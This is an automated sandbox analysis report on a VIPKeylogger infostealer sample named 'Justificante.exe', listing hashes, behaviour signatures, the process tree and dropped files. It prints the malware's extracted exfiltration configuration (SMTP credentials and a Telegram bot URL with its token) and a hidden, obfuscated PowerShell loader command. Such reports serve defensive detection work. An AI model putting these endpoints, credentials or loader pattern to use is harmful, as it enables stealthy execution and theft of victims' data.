Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
25/10/2024, 14:22
General
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Target
Justificante.exe
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Size
661KB
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MD5
8a9c90ba02c22e957bff42c02e6a4189
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SHA1
4fe3080dbf75f99fa64dbf4e35f08560d4b2ef0c
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SHA256
8e8286667afb0526fcc2959ef670d63dd0503b8b0914daa7e0905fa77d356628
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SHA512
de296476d773f0d61feb647376ee9f2131463bafb18243adcfd8ccd2e6b958ebf90294d24e09a1ef526ff8b25d8d6d291217766514d6cdd9f60afc8ed417bb50
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SSDEEP
12288:vc5+AfopdAeHHn7XpjIW0ep9Rr2M/iTGYqWofv1zSFXMhuV+7+bY:vZAaAeHHlECyCiuW095ugcY
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.turktav.com - Port:
587 - Username:
[email protected] - Password:
)d!s~MV@X;!M - Email To:
[email protected]
https://api.telegram.org/bot7422104780:AAE8Q_pLcHk4fu5XIMEQar6JqYuE_1O_qCg/sendMessage?chat_id=7451270736
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Drops file in Windows directory 3 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of SetWindowsHookEx 1 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Justificante.exe"C:\Users\Admin\AppData\Local\Temp\Justificante.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Frustreringers=Get-Content -raw 'C:\Users\Admin\AppData\Local\Mixende\Klausuleringerne\Jobation.udk';$Brndes=$Frustreringers.SubString(53183,3);.$Brndes($Frustreringers)2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
223KB
MD5ea6867f02c973c162bce9569b3e62a32
SHA1702f1e9bea0be45c56f8d7fa1b838cb6aedd30a1
SHA25603132d30bbf7bd4b58663587fc045f2e36cc0723b91ed9e5c6eaf6d9a4591012
SHA5129bb95a906e29b0d957c239d800c0263144c3468e73edc48c0285136501ae39b15a04ab7b4623eb9639a118573dd63e161759fd9f5a7518062ee4beca78107d0e
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Filesize
51KB
MD5faace62892757e3f6b6bcdc07c3b75e0
SHA11b0bcaaaf1c6b3aeaee3a7eef36f0a1776fb654b
SHA2566492bacab0fd62ad56b0c444c325f727653725a87fc221e2bb6baf8d56490f89
SHA51212f0d38ee61532c33c3618525163ed79bb5e51d21cb0d3e35db98b1b4e1cbb42b3569682b2cdd869592c8649e6e83a49e777704980bb207d9790692e59682bbc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7.7MB
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Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
6.2MB
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Filesize
3.3MB
-
Filesize
120KB
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Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
-
Filesize
5.6MB
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Filesize
7.7MB
-
Filesize
6.5MB
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Filesize
7.7MB
-
Filesize
304KB
-
Filesize
200KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
4KB
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Filesize
168KB
-
Filesize
7.7MB
-
Filesize
144KB
-
Filesize
40KB
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Filesize
652KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
216KB
-
Filesize
7.7MB
-
Filesize
65.3MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
7.7MB
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Filesize
18.3MB
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Filesize
264KB
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Filesize
624KB
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Filesize
1.8MB
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Filesize
320KB
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Filesize
584KB
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Filesize
40KB